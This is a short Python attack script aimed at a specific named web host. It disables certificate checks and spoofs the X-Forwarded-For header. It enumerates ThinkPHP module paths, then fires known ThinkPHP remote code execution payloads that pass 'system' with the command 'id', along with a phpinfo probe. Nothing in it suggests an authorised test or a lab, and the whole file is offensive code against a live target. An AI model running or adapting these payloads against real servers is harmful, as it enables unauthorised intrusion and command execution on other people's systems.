import urllib.request, ssl
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
def get(path):
    req=urllib.request.Request("http://phadmin.msjshy.com"+path, headers={"X-Forwarded-For":"54.255.42.219","User-Agent":"Mozilla/5.0"})
    try:
        r=urllib.request.urlopen(req,timeout=10,context=ctx); return r.status, r.read()
    except urllib.error.HTTPError as e: return e.code, e.read()
    except Exception as e: return -1, str(e).encode()

mods=["index","admin","portal","api","user","home","install","think","public","common","content","member","adminapi","wx","app","mobile","backend","static","upload","cmf","plugin","plugins","front","manage","system","pf","xiao9","data","console"]
print("=== module enumeration (each /mod/index/index) ===")
for m in mods:
    st,b=get(f"/{m}/index/index")
    txt=b.decode('utf-8','ignore').strip()
    tag = "NOROUTE" if txt=="404 No Router" else ("NOTFOUND" if txt=="Not Found" or txt=="<br/>Not Found" else txt[:60])
    print(f"  /{m}/index/index -> [{st}] {tag}")
print()
print("=== try s param on / root and other ===")
for p in ["/?s=/index/think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id",
          "/?s=index/think/Request/input&filter[]=system&data=id",
          "/index/think/app/invokefunction?function=call_user_func_array&vars[0]=system&vars[1][]=id",
          "/admin/Public/login?s=/index/think/app/invokefunction&function=phpinfo"]:
    st,b=get(p)
    print(f"  [{st} len={len(b)}] {p[:70]} -> {b[:60]!r}")
